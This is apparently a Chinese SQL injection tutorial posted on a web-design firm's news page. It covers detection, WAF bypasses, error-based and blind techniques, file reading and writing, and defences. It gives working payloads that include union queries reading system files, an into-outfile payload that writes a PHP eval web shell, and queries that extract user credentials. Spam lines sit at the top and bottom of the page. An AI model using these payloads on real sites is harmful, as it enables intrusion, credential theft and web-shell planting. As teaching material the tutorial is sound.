成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

SQL注入該如何理解

SQL注入該如何理解,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

成都創(chuàng)新互聯(lián)主要從事成都網(wǎng)站制作、網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)勃利,十多年網(wǎng)站建設(shè)經(jīng)驗,價格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):028-86922220

SQL是什么?

結(jié)構(gòu)化查詢語?(Structured Query Language ,SQL),是?種特殊的編程語?,?于數(shù)據(jù)庫的標準數(shù)據(jù)查詢。1986 年10 ?美國國家標準協(xié)會對SQL 進?了規(guī)范后,以此作為關(guān)系型數(shù)據(jù)庫系統(tǒng)的標準語?。1987 年得到了國際標準組織的?持,成為了國際標準。

什么是SQL注入

SQL注入是服務(wù)端未嚴格校驗客戶端發(fā)送的數(shù)據(jù),而導致服務(wù)端SQL語句被惡意修改并成功執(zhí)行的行為
SQL注入該如何理解

漏洞原理

SQL 注?的攻擊?為可以描述為通過?戶可控參數(shù)中注?SQL 語法,破壞原有SQL 結(jié)構(gòu),達到編寫程序時意料之外結(jié)果的攻擊?為。其成因可以歸結(jié)為以下兩個原因疊加造成的。

  • 程序員在處理程序和數(shù)據(jù)庫交互時,使?字符串拼接的?式構(gòu)造SQL 語句

  • 未對?戶可控參數(shù)進??夠的過濾,便將參數(shù)內(nèi)容拼接到SQL 語句中

漏洞原因

  • 用戶能夠控制輸入

  • 是對于輸入檢查不充分,導致SQL語句將用戶提交的非法數(shù)據(jù)當作語句的一部分來執(zhí)行

為什么會有SQL注入

  • 代碼對帶入SQL語句的參數(shù)過濾不嚴格

  • 未啟用框架的安全配置,例如:PHP的magic_quotes_gpc

  • 未使用框架安全的查詢方法

  • 測試接口沒有刪除

  • 未啟用防火墻

  • 未使用其他的安全防護設(shè)備

注?點可能存在的位置

根據(jù)SQL 注?漏洞的原理,?戶“可控參數(shù)”中注?SQL 與發(fā),也就是說Web 應(yīng)?獲取?戶輸?的地?,只要帶?數(shù)據(jù)庫查詢,都有存在SQL 注?的可能,這些地?通常包括:

  • GET 數(shù)據(jù)

  • POST 數(shù)據(jù)

  • Cookie 數(shù)據(jù)

  • HTTP 頭部(HTTP 頭部中的其他字段)

漏洞危害

  1. 數(shù)據(jù)庫信息泄漏、獲取、修改敏感數(shù)據(jù):數(shù)據(jù)庫中存放的用戶的隱私信息(帳號、密碼)的泄露

  2. 繞過登錄驗證:使用萬能密碼登錄網(wǎng)站后臺等

  3. 文件系統(tǒng)操作:列目錄,讀取、寫入文件等

  4. 網(wǎng)頁篡改:通過操作數(shù)據(jù)庫對特定網(wǎng)頁進行篡改,嵌入網(wǎng)馬鏈接,進行掛馬攻擊

  5. 注冊表操作:讀取、寫入、刪除注冊表等

  6. 執(zhí)行系統(tǒng)命令:遠程執(zhí)行命令

  7. 服務(wù)器被遠程控制、種植木馬:黑客可以修改或控制操作系統(tǒng)

提交方法

提交方法有:get、post、cookie、request等
其中:request支持度較好,你把參數(shù)以get方式、post方式、cookie方式提交都是可以的

判斷注入點

會在疑似注?點的地?或者參數(shù)后?嘗試提交數(shù)據(jù),從而進?判斷是否存在SQL 注?漏洞。

測試數(shù)據(jù)測試判斷攻擊思路
-1或+1是否能夠回顯上?個或者下?個頁面(判斷是否有回顯)聯(lián)合注入
'"是否顯示數(shù)據(jù)庫錯誤信息;回顯的頁面是否不同(字符型還是數(shù)字型)報錯注入
and 1=1 或者 and 1=2回顯的頁面是否不同(判斷頁面是否有布爾類型的狀態(tài))布爾盲注
and sleep(5)判斷頁面的返回時間延時注入
\判斷轉(zhuǎn)義



注意:如果你對著一個網(wǎng)站測試的時候,出現(xiàn)404,或者頁面跳轉(zhuǎn),說明網(wǎng)站有防護

判斷字符型還是數(shù)字型

如下圖,一般來說,id之類的參數(shù)后面跟的是數(shù)字型(也有可能是字符型),別的參數(shù)后面跟的是字符型
SQL注入該如何理解

sql注入繞過

  1. 大小寫繞過

  2. 雙寫關(guān)鍵字繞過

  3. 特殊編碼繞過

如果有些字符串確實被限制的很嚴格,我們可以嘗試一些編碼繞過。
如URLEncode編碼,ASCII、HEX、unicode編碼繞過:

  • or 1=1即%6f%72%20%31%3d%31,

  • Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

  1. 空格過濾繞過

  2. 過濾函數(shù)繞過

  • sleep() ——> benchmark()

  • substr()、substring()、mid()可以相互替換

  • user() ——> @@user() 、datadir ——> @@datadir

  • ord() ——> ascii() :這兩個函數(shù)在處理英文時效果一樣,但處理中文時效果不一樣

  • ascii ——> hex()、bin():替代之后再使用對應(yīng)的進制轉(zhuǎn)string即可

  • group_concat() ——> concat_ws()

  1. 內(nèi)聯(lián)注釋繞過/*!...*/

在MySQL里,/**/是多行注釋,這個是SQL的標準,但是MySQL擴張了解釋的功能,如果在開頭的的/*后頭加了感嘆號/*!50001sleep(3)*/,那么此注釋里的語句將被執(zhí)行。

/*!50001 select * from test */;這里的50001表示假如 數(shù)據(jù)庫是5.00.01以上版本,該語句才會被執(zhí)行,對于有些waf我們可以通過這種方式進行繞過。

獲取網(wǎng)站路徑

路徑常見獲取方法:

  1. 報錯顯示

SQL注入該如何理解

  1. 遺留文件

別用百度,用谷歌搜索inurl:phpinfo.php
SQL注入該如何理解

漏洞報錯、平臺配置文件、爆破等

SQL 注入讀寫文件

可以利用SQL 注入漏洞進行文件讀寫。
利用的前提條件:

1. 數(shù)據(jù)庫支持文件讀寫

這里涉及到1個變量secure_file_priv,該參數(shù)在高版本的 mysql 數(shù)據(jù)庫中限制了文件的導入導出操作。若要配置此參數(shù),需要修改 my.ini 配置文件,并重啟 mysql 服務(wù)【其在Phpstudy中默認是NULL,不允許讀寫文件】
SQL注入該如何理解

參數(shù)含義
secure_file_priv=NULL限制mysqld 不允許導入導出操作
secure_file_priv=‘c:/a/’會限制mysqld 的導入導出操作在某個固定目錄下,并且子目錄有效
secure_file_priv=不對mysqld 的導入導出操作做限制

修改配置文件,對讀寫不做限制,文件路徑C:\phpStudy\MySQL\my.ini,該操作比較敏感,需要在mysql的配置文件中操作,在phpmyadmin網(wǎng)頁中不能修改
SQL注入該如何理解

SQL注入該如何理解

2. 當前用戶具有文件權(quán)限

  1. 獲知當前用戶和主機名

?id=-1'union select 1,current_user(),3 --+

SQL注入該如何理解

  1. 查看有無權(quán)限

?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+

SQL注入該如何理解

方法2:

select File_priv from mysql.user where user="root" and host="localhost";

SQL注入該如何理解

3. 知道文件絕對路徑

  1. 讀取文件,使用 load_file

下面兩種方法一樣

?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+

SQL注入該如何理解

  1. 寫入文件,使用 into_outfile

這里需要注意,寫16進制是直接寫,寫明文的話,需要用引號給包住

寫phpinfo,沒有報錯就說明寫入成功,可以直接訪問寫入的文件地址

# 1. 直接寫
?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+
# 2. 改寫成16進制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+

SQL注入該如何理解

SQL注入該如何理解

寫一句話木馬

# 1. 直接寫
?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+

# 2. 改寫成16進制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+

查詢方式及報錯盲注?

在進行SQL注入時,有很多注入會出現(xiàn)無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關(guān)的報錯或盲注進行后續(xù)操作,同時作為手工注入,提前了解或預知其SQL語句的大概寫法也能更好的選擇對應(yīng)的注入語句。

更詳細的介紹,請參見下一篇文章 《SQL注入的常見方式》

查詢方式

重點理解:我們可以通過下面的查詢方式和網(wǎng)站應(yīng)用的關(guān)系、注入點產(chǎn)生地方、應(yīng)用猜測到對方的SQL查詢方式
查詢方法舉例說明

  1. select:查詢數(shù)據(jù)在網(wǎng)站應(yīng)用中進行數(shù)據(jù)顯示查詢操作

舉例:select * from news where id=$id

  1. insert:插入數(shù)據(jù)在網(wǎng)站應(yīng)用中進行用戶注冊添加等操作

舉例:insert into news(id,url,text) values(2,'x','$t')

  1. delete:刪除數(shù)據(jù)后臺管理里面刪除文章刪除用戶等操作

舉例:delete from news where id=$id

  1. update更新數(shù)據(jù)會員或后臺中心數(shù)據(jù)同步或緩存等操作

舉例:update user set pwd='$p' where id=2 and username='admin'

  1. order by排序數(shù)據(jù)一般結(jié)合表名或列名進行數(shù)據(jù)排序操作

舉例:select * from news order by $id
舉例:select id,name,price from news order by $order

報錯盲注

盲注就是在注入過程中,獲取的數(shù)據(jù)不能回顯至前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試。
這個過程稱之為盲注。我們可以知道盲注分為以下三類:

  1. 基于布爾的SQL盲注-邏輯判斷(不回顯)
    regexp,like,ascii,left,ord,mid

  2. 基于時間的SQ盲注-延時判斷(不回顯)
    if,sleep

  3. 基于報錯的SQL盲注-(強制)報錯回顯
    floor,updatexml,extractvalue

報錯模板:https://www.jianshu.com/p/bc35f8dd4f7c

報錯注入函數(shù)

  1. floor()

  • floor(x),返回小于或等于x的最大整數(shù)。

  • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;

  • x表示concat(database(),rand(0)*2),rand(0)以0為隨機種子產(chǎn)生0-1之間的隨機數(shù),*2產(chǎn)生0-2之間的隨機數(shù)。

  • 報錯原因:主鍵重復,必需:count()、rand()、group by

  • 分析鏈接:https://xz.aliyun.com/t/253#toc-2

  1. exp()

  • exp(x)返回e^x。

  • 當x的值足夠大的時候就會導致函數(shù)的結(jié)果數(shù)據(jù)類型溢出,也就會因此報錯

  • payload:id =1 and EXP(~(SELECT * from(select user())a))

  1. updatexml()

利用的就是mysql函數(shù)參數(shù)格式錯誤進行報錯注入。

updatexml()函數(shù)語法:updatexml(XML_document,Xpath_string,new_value);

  • 函數(shù)語法解析:

  • XML_document:是字符串String格式,為XML文檔對象名稱

  • Xpath_string:Xpath格式的字符串

  • new_value:string格式,替換查找到的符合條件的數(shù)據(jù)

適用版本是:5.1.5+

利用方式:在執(zhí)行兩個函數(shù)時,如果出現(xiàn)xml文件路徑錯誤,就會產(chǎn)生報錯 那么我們就需要構(gòu)造Xpath_string格式錯誤,也就是我們將Xpath_string的值傳遞成不符合格式的參數(shù),mysql就會報錯

  1. extractvalue()

利用的原理是xpath格式不符報錯注入。

函數(shù)語法:extractvalue(XML_document,XPath_string)
適用的版本:5.1.5+

1. 獲取當前是數(shù)據(jù)庫名稱及使用mysql數(shù)據(jù)庫的版本信息:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))

2. 獲取當前注入點的用戶權(quán)限信息及操作系統(tǒng)版本信息:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))

3. 獲取當前位置所用數(shù)據(jù)庫的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))

4. 獲取數(shù)據(jù)表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

5. 獲取users數(shù)據(jù)表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))

6. 獲取對應(yīng)的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

二次注入

SQL注入該如何理解

二次注入漏洞是一種在Web應(yīng)用程序中廣泛存在的安全漏洞形式。相對于一次注入漏洞而言,二次注入漏洞更難以被發(fā)現(xiàn),但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。

原理

二次注入的原理:在第一次進行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對其中的特殊字符進行了轉(zhuǎn)義,但是addslashes有一個特點就是雖然參數(shù)在過濾后會添加\進行轉(zhuǎn)義,但是\并不會插入到數(shù)據(jù)庫中,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù)。

在將數(shù)據(jù)存入到了數(shù)據(jù)庫中之后,開發(fā)者就認為數(shù)據(jù)是可信的。在下一次進行需要進行查詢的時候,直接從數(shù)據(jù)庫中取出了臟數(shù)據(jù),沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入數(shù)據(jù)的時候,數(shù)據(jù)中帶有單引號,直接插入到了數(shù)據(jù)庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。

實施步驟

  1. 插入惡意數(shù)據(jù)

第一次進行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅對其中的特殊字符進行了轉(zhuǎn)義,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù),但是數(shù)據(jù)本身包含惡意內(nèi)容

  1. 引用惡意數(shù)據(jù)

SQL注入該如何理解

舉例

這里使用的是sql-libs靶場的第24關(guān)

  1. 首先看一下最開始的時候,靶機的數(shù)據(jù)庫是什么樣子的,這里以其中的用戶dhakkan來演示

SQL注入該如何理解

  1. 注冊一個新用戶

SQL注入該如何理解

  1. 注冊了一個新用戶之后的數(shù)據(jù)庫如下
    SQL注入該如何理解

  2. 新用戶登錄,并重置密碼

  3. 查看數(shù)據(jù)庫,有意思的事情發(fā)生了,dhakkan的密碼改變了,但是新用戶的密碼沒有改變

SQL注入該如何理解

  1. 在第24關(guān)的源代碼中,可以看到原因,如下圖

SQL注入該如何理解

堆疊查詢

堆疊注入(Stacked injections),從名詞的含義就可以看到應(yīng)該是一堆sql語句(多條)一起執(zhí)行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語句結(jié)尾加 ; 表示語句結(jié)束。這樣我們就想到了是不是可以多句一起使用。于是出現(xiàn)了堆疊注入(又稱堆疊查詢)
SQL注入該如何理解

注意事項:
堆疊注入的使用條件十分有限,其可能受到API或者數(shù)據(jù)庫引擎,又或者權(quán)限的限制只有當調(diào)用數(shù)據(jù)庫函數(shù)支持執(zhí)行多條sql語句時才能夠使用,利用mysqli_multi_query()函數(shù)就支持多條sql語句同時執(zhí)行,但實際情況中,如PHP為了防止sql注入機制,往往使用調(diào)用數(shù)據(jù)庫的函數(shù)是mysqli_ query()函數(shù),其只能執(zhí)行一條語句,分號后面的內(nèi)容將不會被執(zhí)行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網(wǎng)站造成十分大的威脅

DNSlog

DNSlog 就是存儲在 DNS Server 上的域名信息,它記錄著用戶對域名 www.baidu.com 等的訪問信息,類似日志文件。更多操作參見淺析DNSlog在滲透測試中的實戰(zhàn)技巧

腦圖

SQL注入該如何理解

常見數(shù)據(jù)庫,及注入相關(guān)?

MySQL、SQLServer、Oracle、PostgreSQL、Access五種數(shù)據(jù)庫應(yīng)該是目前市面上最流行的數(shù)據(jù)庫了。我們進行滲透測試,碰到最多的也是這幾種數(shù)據(jù)庫。本文就這幾種數(shù)據(jù)庫在注入時的相同點和不同的做一下統(tǒng)計。

注釋符、數(shù)據(jù)庫端口


MySQLSQLServerOraclePostgreSQLAccess
單行注釋#------
多行注釋/**//**//**//**/
數(shù)據(jù)庫端口3306143315215432屬于文件型數(shù)據(jù)庫,所以不需要端口號

數(shù)據(jù)庫文件后綴名

  • MySQL:數(shù)據(jù)文件:.myd 、索引文件:.MYI 、表定義文件:.frm

  • SQLServer:.mdf

  • Oracle:.dbf.ora

  • PostgreSQL:無后綴名

  • Access:Office 2007之前是 .mdb ,Office 2007及之后是.accdb

特有的數(shù)據(jù)庫

  • MySQL: information_schema(Mysql5.0以上的版本)

  • SQLServer:sysobjects

  • Oracle:dual

  • PostgreSQL:

  • Access:msysobjects

查看當前用戶或權(quán)限

  1. MySQL

查詢當前用戶
select user();
select substring_index(user(), '@', 1) ;
查詢當前用戶的權(quán)限
select * from mysql.user where user = substring_index(user(), '@', 1) ;

SQL注入該如何理解
SQL注入該如何理解

  1. SQLServer

判斷是否是SA權(quán)限select is_srvrolemember('sysadmin')     判斷是否是db_owner權(quán)限  
select is_member('db_owner')判斷是否是public權(quán)限select is_srvrolemember('public')

SQL注入該如何理解

  1. Oracle

查看當前用戶select * from user_users;查看當前用戶擁有的角色     
select * from session_roles;查看當前用戶擁有的權(quán)限select * from session_privs;

SQL注入該如何理解

  1. PostgreSQL

select user                       #查看用戶select current_user               #查看當前用戶

SQL注入該如何理解
SQL注入該如何理解

  1. ACCESS

Access數(shù)據(jù)庫是文件類型數(shù)據(jù)庫,沒有用戶和權(quán)限的概念

ASCII轉(zhuǎn)換函數(shù)

  1. MySQL:select char(97)

SQL注入該如何理解

  1. SQLServer:select char(97)
    SQL注入該如何理解

  2. Oracle:select chr(97) from dual

SQL注入該如何理解

  1. **PostgreSQL:select chr(97) **

SQL注入該如何理解

  1. **Access:select chr(97) **

select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)

不同數(shù)據(jù)庫注入結(jié)果的區(qū)別?

  1. mssql

SQL注入該如何理解

  1. MySQL

SQL注入該如何理解

  1. oracle

SQL注入該如何理解

Sql注入中連接字符串常用函數(shù)

在select數(shù)據(jù)時,我們往往需要將數(shù)據(jù)進行連接后進行回顯。很多的時候想將多個數(shù)據(jù)或者多行數(shù)據(jù)進行輸出的時候,需要使用字符串連接函數(shù)。在sqli中,常見的字符串連接函數(shù)有concat(),group_concat(),concat_ws()。
本篇詳細講解以上三個函數(shù)。同時此處用mysql進行說明,其他類型數(shù)據(jù)庫請自行進行檢測。

concat()函數(shù)

不使用字符串連接函數(shù)時:
SQL注入該如何理解

但是這里存在的一個問題是,當使用union聯(lián)合注入時,我們都知道,聯(lián)合注入要求前后兩個選擇的列數(shù)要相同,這里id,username是兩個列,當我們要一個列的時候,(當然不排除你先爆出id,再爆出username,分兩次的做法)該怎么辦?答案就是concat()

concat()語法及使用特點:CONCAT(str1,str2,…)
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如有任何一個參數(shù)為NULL ,則返回值為 NULL??梢杂幸粋€或多個參數(shù)。
示例如下:
SQL注入該如何理解

SQL注入該如何理解

concat_ws 函數(shù)

使用方法:CONCAT_WS(separator,str1,str2,...)

CONCAT_WS()代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數(shù)是其它參數(shù)的分隔符。分隔符的位置放在要連接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數(shù)。

注意:如果分隔符為 NULL,則結(jié)果為 NULL。函數(shù)會忽略任何分隔符參數(shù)后的 NULL 值。
這里以逗號分隔符為例,演示一下
SQL注入該如何理解

group_concat 函數(shù)

基本查詢

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200   |
|3 | 500   |
+------+------+
6 rows in set (0.00 sec)

以id分組,把name字段的值打印在一行,逗號分隔(默認)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)

以id分組,把name字段的值打印在一行,分號分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500   |
+------+----------------------------------+
3 rows in set (0.00 sec)

以id分組,把去冗余的name字段的值打印在一行,
逗號分隔

mysql> select id,group_concat(distinct name) from aa group by id;
+------+-----------------------------+
| id| group_concat(distinct name) |
+------+-----------------------------+
|1 | 10,20|
|2 | 20   |
|3 | 200,500 |
+------+-----------------------------+
3 rows in set (0.00 sec)

以id分組,把name字段的值打印在一行,逗號分隔,以name排倒序

mysql> select id,group_concat(name order by name desc) from aa group by id;
+------+---------------------------------------+
| id| group_concat(name order by name desc) |
+------+---------------------------------------+
|1 | 20,20,10   |
|2 | 20|
|3 | 500,200|
+------+---------------------------------------+
3 rows in set (0.00 sec)

補充知識—數(shù)據(jù)庫結(jié)構(gòu)

數(shù)據(jù)庫結(jié)構(gòu):數(shù)據(jù)庫 —> 表名 —> 列名 —> 數(shù)據(jù)
演示如下:

  1. 查看MySQL數(shù)據(jù)庫中,包含了哪些數(shù)據(jù)庫

show database;
SQL注入該如何理解

  1. 查看數(shù)據(jù)庫中有哪些表

use dvwa;	# 選中dvwa數(shù)據(jù)庫
show tables;	# 查看dvwa數(shù)據(jù)庫中有哪些表

SQL注入該如何理解

  1. 查詢表中的內(nèi)容

    1. 查看user表中的全部內(nèi)容:select * from user;

    2. 以列的形式查看user表中的全部內(nèi)容:select *from user\G;

    3. 查看表中的部分內(nèi)容:select user,password from user;

SQL注入該如何理解

SQL注入該如何理解

補充知識—關(guān)于SQL的一些常識

注釋

減減空格"-- ""–%20"“–+”
#“#”"%23"




內(nèi)聯(lián)注釋/* 被注釋掉的內(nèi)容 */









數(shù)據(jù)庫中,符號.代表下一級,如dvwa.user表示dvwa數(shù)據(jù)庫下的user表

常用語句和函數(shù)

推薦閱讀:SQL注入必備知識初級
1:mysql -uroot -proot登錄數(shù)據(jù)庫
2:show databases; 查看有哪些數(shù)據(jù)庫
3:use informatin_schema; 使用某數(shù)據(jù)庫
4:limit的用法

  • limit的使用格式是limit m,n

  • 其中m是指記錄開始的位置,從0開始表示第一條記錄

  • n是指提取n條記錄

5:select 函數(shù)名; 查詢某內(nèi)容
函數(shù)名有以下:
SQL注入該如何理解

防御措施

防御SQL注入的核心思想是對用戶輸入的數(shù)據(jù)進行嚴格的檢查,并且對數(shù)據(jù)庫的使用采用最小權(quán)限分配原則。目前SQL注入的防御手段有以下幾種:

代碼層

  1. 內(nèi)置過濾系統(tǒng)(本質(zhì)是黑名單,很常見但是不推薦)

  2. 采用參數(shù)化查詢&預編譯(推薦)

強迫使用參數(shù)化語句。參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中。采用這種措施,可以杜絕大部分的SQL注入式攻擊
SQL注入該如何理解

  1. 采用框架的安全寫法

例如Mybatis中使用#可以防止SQL注入,$并不能防止SQL注入
thinkphp使用數(shù)組方式將自動使用框架自帶的字段類型檢測防止注入、PDO驅(qū)動參數(shù)綁定、預處理等

Thinkphp框架的安全寫法

安全的替換寫法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用數(shù)組方式將自動使用框架自帶的字段類型檢測防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//類型約束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//類型轉(zhuǎn)換
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驅(qū)動可以使用參數(shù)綁定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//預處理機制       

//不安全的寫法舉例
$_GET['id']=8;//希望得到的是正整數(shù)
$data=M()->query('SELECT * FROM `member` WHERE  id='.$_GET['id']);//執(zhí)行的SQL語句
$_GET['id']='8  UNION SELECT * FROM `member`';;//隱患:構(gòu)造畸形語句進行注入;

數(shù)據(jù)庫加固

主要包括:

  1. 最小權(quán)限原則,禁止將任何高權(quán)限帳戶(例如sa、dba、root等)用于應(yīng)用程序數(shù)據(jù)庫訪問。更安全的方法是單獨為應(yīng)用創(chuàng)建有限訪問帳戶。

  2. 禁用敏感函數(shù)拒絕用戶訪問敏感的系統(tǒng)存儲過程,如xp_dirtree、xp_cmdshell、into_outfile 等

  3. 網(wǎng)站與數(shù)據(jù)層的編碼統(tǒng)一,建議全部使用UTF-8編碼,避免因上下層編碼不一致導致一些過濾模型被繞過,比如寬字節(jié)注入等。

  4. 限制用戶所能夠訪問的數(shù)據(jù)庫表

其他

例如,避免網(wǎng)站顯示SQL執(zhí)行出錯信息,防止攻擊者使用基于錯誤的方式進行注入;每個數(shù)據(jù)層編碼統(tǒng)一,防止過濾模型被繞過等。使用WAF。

看完上述內(nèi)容,你們掌握SQL注入該如何理解的方法了嗎?如果還想學到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!

分享名稱:SQL注入該如何理解
本文來源:http://jinyejixie.com/article24/gdphje.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站設(shè)計公司、小程序開發(fā)、面包屑導航關(guān)鍵詞優(yōu)化、電子商務(wù)網(wǎng)站收錄

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

綿陽服務(wù)器托管
红安县| 昭觉县| 新宁县| 衢州市| 陇川县| 广东省| 博罗县| 乐至县| 南投县| SHOW| 玉树县| 余姚市| 延寿县| 阿拉善右旗| 随州市| 永年县| 阳春市| 龙江县| 合水县| 平远县| 红桥区| 铜梁县| 鄂托克旗| 平陆县| 古田县| 兴安盟| 武汉市| 综艺| 青冈县| 大余县| 曲周县| 怀来县| 济源市| 梁平县| 石棉县| 潼关县| 若羌县| 徐水县| 漾濞| 改则县| 洱源县|